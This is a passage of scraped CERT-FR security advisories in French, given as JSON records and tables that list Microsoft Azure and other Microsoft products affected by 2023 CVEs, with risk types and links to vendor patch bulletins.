"revision_date": "2023-08-09T00:00:00.000000"
}
],
"risks": [
{
"description": "Usurpation d\u0027identit\u00e9"
},
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 corrig\u00e9es dans \u003cspan\nclass=\"textit\"\u003eMicrosoft Azure\u003c/span\u003e. Elles permettent \u00e0 un attaquant\nde provoquer une \u00e9l\u00e9vation de privil\u00e8ges et une usurpation d\u0027identit\u00e9.\n",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans Microsoft Azure",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft du 08 ao\u00fbt 2023",
"url": "https://msrc.microsoft.com/update-guide/"
}
]
}
CERTFR-2023-AVI-0535
Vulnerability from certfr_avis - Published: - Updated:
Une vulnérabilité a été corrigée dans Microsoft Azure. Elle permet à un attaquant de provoquer une atteinte à la confidentialité des données.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
References
| Title | Publication Time | Tags | ||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Azure Service Fabric 9.0 pour Windows",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Service Fabric 9.1 pour Windows",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2023-36868",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-36868"
}
],
"links": [
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-36868 du 11 juillet 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36868"
}
],
"reference": "CERTFR-2023-AVI-0535",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2023-07-12T00:00:00.000000"
},
{
"description": "Correction de l\u0027identifiant de l\u0027avis.",
"revision_date": "2023-07-13T00:00:00.000000"
}
],
"risks": [
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
}
],
"summary": "Une vuln\u00e9rabilit\u00e9 a \u00e9t\u00e9 corrig\u00e9e dans \u003cspan class=\"textit\"\u003eMicrosoft\nAzure\u003c/span\u003e. Elle permet \u00e0 un attaquant de provoquer une atteinte \u00e0 la\nconfidentialit\u00e9 des donn\u00e9es.\n",
"title": "Vuln\u00e9rabilit\u00e9 dans Microsoft Azure",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft du 11 juillet 2023",
"url": "https://msrc.microsoft.com/update-guide/"
}
]
}
CERTFR-2023-AVI-0464
Vulnerability from certfr_avis - Published: - Updated:
De multiples vulnérabilités ont été corrigées dans Microsoft Azure. Elles permettent à un attaquant de provoquer une usurpation d'identité.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
References
| Title | Publication Time | Tags | |
|---|---|---|---|
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Azure DevOps Server 2022",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure DevOps Server 2022.0.1",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure DevOps Server 2020.1.2",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2023-21565",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21565"
},
{
"name": "CVE-2023-21569",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21569"
}
],
"links": [
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21569 du 13 juin 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21569"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21565 du 13 juin 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21565"
}
],
"reference": "CERTFR-2023-AVI-0464",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2023-06-14T00:00:00.000000"
}
],
"risks": [
{
"description": "Usurpation d\u0027identit\u00e9"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 corrig\u00e9es dans \u003cspan\nclass=\"textit\"\u003eMicrosoft Azure\u003c/span\u003e. Elles permettent \u00e0 un attaquant\nde provoquer une usurpation d\u0027identit\u00e9.\n",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans Microsoft Azure",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft du 13 juin 2023",
"url": "https://msrc.microsoft.com/update-guide/"
}
]
}
CERTFR-2023-AVI-0309
Vulnerability from certfr_avis - Published: - Updated:
De multiples vulnérabilités ont été corrigées dans les produits Microsoft. Elles permettent à un attaquant de provoquer un déni de service, une atteinte à la confidentialité des données, une exécution de code à distance, une usurpation d'identité et une élévation de privilèges.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
| Vendor | Product | Description | ||
|---|---|---|---|---|
| Microsoft | N/A | Microsoft Visual Studio 2022 version 17.0 | ||
| Microsoft | N/A | Microsoft Visual Studio 2017 version 15.9 (includes 15.0 - 15.8) | ||
| Microsoft | N/A | Microsoft Visual Studio 2022 version 17.2 | ||
| Microsoft | N/A | Microsoft SQL Server 2019 pour systèmes x64 (CU 18) | ||
| Microsoft | N/A | Microsoft Visual Studio 2022 version 17.5 | ||
| Microsoft | N/A | Microsoft OLE DB Driver 19 pour SQL Server | ||
| Microsoft | N/A | Microsoft SQL Server 2014 Service Pack 3 pour systèmes 32 bits (CU 4) | ||
| Microsoft | N/A | Microsoft SQL Server 2016 pour systèmes x64 Service Pack 3 (GDR) | ||
| Microsoft | N/A | Microsoft SQL Server 2008 R2 pour x64-Based Systems Service Pack 3 (QFE) | ||
| Microsoft | N/A | Microsoft SQL Server 2012 pour systèmes 32 bits Service Pack 4 (QFE) | ||
| Microsoft | N/A | Microsoft SQL Server 2022 pour systèmes x64 (GDR) | ||
| Microsoft | N/A | Raw Image Extension | ||
| Microsoft | N/A | Microsoft SQL Server 2014 Service Pack 3 pour systèmes x64 (CU 4) | ||
| Microsoft | N/A | Microsoft Visual Studio 2019 version 16.11 (includes 16.0 - 16.10) | ||
| Microsoft | N/A | Microsoft SQL Server 2014 Service Pack 3 pour systèmes x64 (GDR) | ||
| Microsoft | N/A | Microsoft Malware Protection Engine | ||
| Microsoft | N/A | Microsoft SQL Server 2008 pour x64-Based Systems Service Pack 4 (QFE) | ||
| Microsoft | N/A | Visual Studio Code | ||
| Microsoft | Azure | Microsoft SQL Server 2016 pour systèmes x64 Service Pack 3 Azure Connectivity Pack | ||
| Microsoft | N/A | Microsoft ODBC Driver 18 pour SQL Server | ||
| Microsoft | N/A | Microsoft Dynamics 365 (on-premises) version 9.1 | ||
| Microsoft | N/A | Microsoft 365 Apps pour Enterprise pour systèmes 32 bits | ||
| Microsoft | N/A | Microsoft 365 Apps pour Enterprise pour 64 bits Systems | ||
| Microsoft | N/A | Microsoft SQL Server 2017 pour systèmes x64 (GDR) | ||
| Microsoft | N/A | Microsoft SQL Server 2017 pour systèmes x64 (CU 31) | ||
| Microsoft | N/A | Microsoft Visual Studio 2022 version 17.4 | ||
| Microsoft | N/A | Microsoft SQL Server 2019 pour systèmes x64 (GDR) | ||
| Microsoft | N/A | Microsoft SQL Server 2008 pour systèmes 32 bits Service Pack 4 (QFE) | ||
| Microsoft | N/A | Microsoft SQL Server 2012 pour systèmes x64 Service Pack 4 (QFE) | ||
| Microsoft | N/A | Microsoft Dynamics 365 (on-premises) version 9.0 | ||
| Microsoft | N/A | Microsoft ODBC Driver 17 pour SQL Server | ||
| Microsoft | N/A | Microsoft OLE DB Driver 18 pour SQL Server | ||
| Microsoft | N/A | Microsoft SQL Server 2008 R2 pour 32-Bit Systems Service Pack 3 (QFE) | ||
| Microsoft | N/A | Microsoft SQL Server 2014 Service Pack 3 pour systèmes 32 bits (GDR) | ||
| Microsoft | N/A | Send Customer Voice survey from Dynamics 365 |
References
| Title | Publication Time | Tags | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Microsoft Visual Studio 2022 version 17.0",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2017 version 15.9 (includes 15.0 - 15.8)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2022 version 17.2",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2019 pour syst\u00e8mes x64 (CU 18)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2022 version 17.5",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft OLE DB Driver 19 pour SQL Server",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2014 Service Pack 3 pour syst\u00e8mes 32 bits (CU 4)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2016 pour syst\u00e8mes x64 Service Pack 3 (GDR)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2008 R2 pour x64-Based Systems Service Pack 3 (QFE)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2012 pour syst\u00e8mes 32 bits Service Pack 4 (QFE)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2022 pour syst\u00e8mes x64 (GDR)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Raw Image Extension",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2014 Service Pack 3 pour syst\u00e8mes x64 (CU 4)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2019 version 16.11 (includes 16.0 - 16.10)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2014 Service Pack 3 pour syst\u00e8mes x64 (GDR)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Malware Protection Engine",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2008 pour x64-Based Systems Service Pack 4 (QFE)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Visual Studio Code",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2016 pour syst\u00e8mes x64 Service Pack 3 Azure Connectivity Pack",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft ODBC Driver 18 pour SQL Server",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Dynamics 365 (on-premises) version 9.1",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft 365 Apps pour Enterprise pour syst\u00e8mes 32 bits",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft 365 Apps pour Enterprise pour 64 bits Systems",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2017 pour syst\u00e8mes x64 (GDR)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2017 pour syst\u00e8mes x64 (CU 31)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2022 version 17.4",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2019 pour syst\u00e8mes x64 (GDR)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2008 pour syst\u00e8mes 32 bits Service Pack 4 (QFE)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2012 pour syst\u00e8mes x64 Service Pack 4 (QFE)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Dynamics 365 (on-premises) version 9.0",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft ODBC Driver 17 pour SQL Server",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft OLE DB Driver 18 pour SQL Server",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2008 R2 pour 32-Bit Systems Service Pack 3 (QFE)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2014 Service Pack 3 pour syst\u00e8mes 32 bits (GDR)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Send Customer Voice survey from Dynamics 365",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2023-28262",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-28262"
},
{
"name": "CVE-2023-23375",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-23375"
},
{
"name": "CVE-2023-28287",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-28287"
},
{
"name": "CVE-2023-24860",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-24860"
},
{
"name": "CVE-2023-28291",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-28291"
},
{
"name": "CVE-2023-28313",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-28313"
},
{
"name": "CVE-2023-28314",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-28314"
},
{
"name": "CVE-2023-28285",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-28285"
},
{
"name": "CVE-2023-28299",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-28299"
},
{
"name": "CVE-2023-28296",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-28296"
},
{
"name": "CVE-2023-24893",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-24893"
},
{
"name": "CVE-2023-28263",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-28263"
},
{
"name": "CVE-2023-28292",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-28292"
},
{
"name": "CVE-2023-28304",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-28304"
},
{
"name": "CVE-2023-28260",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-28260"
},
{
"name": "CVE-2023-28295",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-28295"
},
{
"name": "CVE-2023-28311",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-28311"
},
{
"name": "CVE-2023-23384",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-23384"
},
{
"name": "CVE-2023-28309",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-28309"
}
],
"links": [
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-28292 du 11 avril 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28292"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-28287 du 11 avril 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28287"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-28304 du 11 avril 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28304"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-28296 du 11 avril 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28296"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-24893 du 11 avril 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-24893"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-28291 du 11 avril 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28291"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-23375 du 11 avril 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23375"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-28285 du 11 avril 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28285"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-24860 du 11 avril 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-24860"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-28262 du 11 avril 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28262"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-28314 du 11 avril 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28314"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-23384 du 11 avril 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23384"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-28309 du 11 avril 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28309"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-28260 du 11 avril 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28260"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-28295 du 11 avril 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28295"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-28313 du 11 avril 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28313"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-28263 du 11 avril 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28263"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-28311 du 11 avril 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28311"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-28299 du 11 avril 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28299"
}
],
"reference": "CERTFR-2023-AVI-0309",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2023-04-12T00:00:00.000000"
}
],
"risks": [
{
"description": "Usurpation d\u0027identit\u00e9"
},
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
},
{
"description": "D\u00e9ni de service"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
},
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 corrig\u00e9es dans \u003cspan\nclass=\"textit\"\u003eles produits Microsoft\u003c/span\u003e. Elles permettent \u00e0 un\nattaquant de provoquer un d\u00e9ni de service, une atteinte \u00e0 la\nconfidentialit\u00e9 des donn\u00e9es, une ex\u00e9cution de code \u00e0 distance, une\nusurpation d\u0027identit\u00e9 et une \u00e9l\u00e9vation de privil\u00e8ges.\n",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits Microsoft",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft du 11 avril 2023",
"url": "https://msrc.microsoft.com/update-guide/"
}
]
}
CERTFR-2023-AVI-0308
Vulnerability from certfr_avis - Published: - Updated:
De multiples vulnérabilités ont été corrigées dans Microsoft Azure. Elles permettent à un attaquant de provoquer une atteinte à la confidentialité des données et un contournement de la fonctionnalité de sécurité.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
References
| Title | Publication Time | Tags | |
|---|---|---|---|
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Azure Service Connector",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Machine Learning",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2023-28312",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-28312"
},
{
"name": "CVE-2023-28300",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-28300"
}
],
"links": [
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-28300 du 11 avril 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28300"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-28312 du 11 avril 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28312"
}
],
"reference": "CERTFR-2023-AVI-0308",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2023-04-12T00:00:00.000000"
}
],
"risks": [
{
"description": "Contournement de la fonctionnalit\u00e9 de s\u00e9curit\u00e9"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 corrig\u00e9es dans \u003cspan\nclass=\"textit\"\u003eMicrosoft Azure\u003c/span\u003e. Elles permettent \u00e0 un attaquant\nde provoquer une atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es et un\ncontournement de la fonctionnalit\u00e9 de s\u00e9curit\u00e9.\n",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans Microsoft Azure",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft du 11 avril 2023",
"url": "https://msrc.microsoft.com/update-guide/"
}
]
}
CERTFR-2023-AVI-0233
Vulnerability from certfr_avis - Published: - Updated:
De multiples vulnérabilités ont été corrigées dans Microsoft Azure. Elles permettent à un attaquant de provoquer une usurpation d'identité.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
References
| Title | Publication Time | Tags | |
|---|---|---|---|
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Azure Service Fabric 9.1 pour Ubuntu",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure HDInsights",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Service Fabric 9.1 pour Windows",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2023-23383",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-23383"
},
{
"name": "CVE-2023-23408",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-23408"
}
],
"links": [
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-23383 du 14 mars 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23383"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-23408 du 14 mars 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23408"
}
],
"reference": "CERTFR-2023-AVI-0233",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2023-03-15T00:00:00.000000"
}
],
"risks": [
{
"description": "Usurpation d\u0027identit\u00e9"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 corrig\u00e9es dans \u003cspan\nclass=\"textit\"\u003eMicrosoft Azure\u003c/span\u003e. Elles permettent \u00e0 un attaquant\nde provoquer une usurpation d\u0027identit\u00e9.\n",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans Microsoft Azure",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft du 14 mars 2023",
"url": "https://msrc.microsoft.com/update-guide/"
}
]
}
CERTFR-2023-AVI-0133
Vulnerability from certfr_avis - Published: - Updated:
De multiples vulnérabilités ont été corrigées dans les produits Microsoft. Elles permettent à un attaquant de provoquer une usurpation d'identité, une exécution de code à distance, une élévation de privilèges, une atteinte à la confidentialité des données, un contournement de la fonctionnalité de sécurité et un déni de service.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
| Vendor | Product | Description | ||
|---|---|---|---|---|
| Microsoft | N/A | Microsoft Exchange Server 2013 Cumulative Update 23 | ||
| Microsoft | N/A | Microsoft Visual Studio 2022 version 17.0 | ||
| Microsoft | N/A | Microsoft Visual Studio 2017 version 15.9 (includes 15.0 - 15.8) | ||
| Microsoft | N/A | HoloLens 1 | ||
| Microsoft | N/A | Microsoft Visual Studio 2022 version 17.2 | ||
| Microsoft | N/A | Microsoft SQL Server 2019 pour systèmes x64 (CU 18) | ||
| Microsoft | N/A | Microsoft SQL Server 2014 Service Pack 3 pour systèmes 32 bits (CU 4) | ||
| Microsoft | N/A | Microsoft Exchange Server 2019 Cumulative Update 11 | ||
| Microsoft | N/A | Microsoft SQL Server 2016 pour systèmes x64 Service Pack 3 (GDR) | ||
| Microsoft | N/A | Microsoft SQL Server 2022 pour systèmes x64 (GDR) | ||
| Microsoft | N/A | Microsoft Exchange Server 2016 Cumulative Update 23 | ||
| Microsoft | N/A | Microsoft SQL Server 2014 Service Pack 3 pour systèmes x64 (CU 4) | ||
| Microsoft | N/A | Microsoft Visual Studio 2019 version 16.11 (includes 16.0 - 16.10) | ||
| Microsoft | N/A | Microsoft SQL Server 2014 Service Pack 3 pour systèmes x64 (GDR) | ||
| Microsoft | N/A | Microsoft Dynamics 365 Unified Service Desk | ||
| Microsoft | N/A | Power BI Report Server - January 2023 | ||
| Microsoft | Azure | Microsoft SQL Server 2016 pour systèmes x64 Service Pack 3 Azure Connectivity Pack | ||
| Microsoft | N/A | Microsoft Dynamics 365 (on-premises) version 9.1 | ||
| Microsoft | N/A | Microsoft 365 Apps pour Enterprise pour systèmes 32 bits | ||
| Microsoft | N/A | Microsoft 365 Apps pour Enterprise pour 64 bits Systems | ||
| Microsoft | N/A | Print 3D | ||
| Microsoft | N/A | Microsoft SQL Server 2017 pour systèmes x64 (GDR) | ||
| Microsoft | N/A | Microsoft SQL Server 2017 pour systèmes x64 (CU 31) | ||
| Microsoft | N/A | Microsoft Visual Studio 2022 version 17.4 | ||
| Microsoft | N/A | Microsoft SQL Server 2019 pour systèmes x64 (GDR) | ||
| Microsoft | N/A | Microsoft Defender pour IoT | ||
| Microsoft | N/A | Microsoft Defender Security Intelligence Updates | ||
| Microsoft | N/A | Microsoft Dynamics 365 (on-premises) version 9.0 | ||
| Microsoft | N/A | Microsoft Exchange Server 2019 Cumulative Update 12 | ||
| Microsoft | N/A | 3D Builder | ||
